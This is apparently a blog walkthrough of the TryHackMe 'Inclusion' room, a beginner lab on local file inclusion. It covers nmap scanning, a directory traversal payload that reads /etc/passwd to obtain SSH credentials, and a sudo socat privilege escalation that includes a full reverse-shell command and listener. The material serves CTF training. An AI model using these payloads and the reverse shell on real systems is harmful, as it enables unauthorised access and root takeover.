Try-Hack-me: INCLUSION walkthrough

 

Try-hack-me

INCLUSION : Walkthrough

This room is meant to be a beginner’s introduction to local file inclusion, a vulnerability which occurs when some web-app includes files from its own local directories.
Let us start with enumeration. Run nmap  to get the services running on open ports and their versions.
#nmap -A -sC -sV <target IP>

Here, HTTP is open. SSH is as well, which we’ll use later.
When we connect to machine's IP, we get to see few articles.
The LFI page source:


The page source on this machine tells us that “lfiattack” is a local file that the web server is just showing up. If you read the article, it gives us a hint for exploiting this. It’s called a directory traversal attack, and it can be accomplished here by replacing the file name with “../../../../etc/passwd.

Going to our malicious URL will display the Linux file containing the password information for the users on the machine. Simply make note of the password listed for user “falconfeast” and use those credentials to SSH in.
Let's go for ssh connection of falconfeast:

#ssh falconfeast@<target IP>

We can now simply grab the user flag

#ls -la

#cat user.txt


Now is the turn for privilege escalation, so let's enumerate

#sudo -l  

In enumeration, we notice that we can run socat as root. We can find the privesc method on GTFOBins page here .
Firstly, we need to use socat to create a listener on machine.

#socat file: 'tty' , raw,echo=0 tcp-listen:5151
Socat Listener
Now, running socat as root we created the reverse shell.

#RHOST=<local IP>

#RPORT=5151

#sudo /usr/bin/socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
Getting back to our terminal where we set up the listener we can see we got the reverse shell and we are root.
And now we can get our final flag.


Thank you very much for reading. I hope you find this blog useful.

!!!!Happy Hacking!!!!




Comments

Popular posts from this blog

Try Hack Me - Simple CTF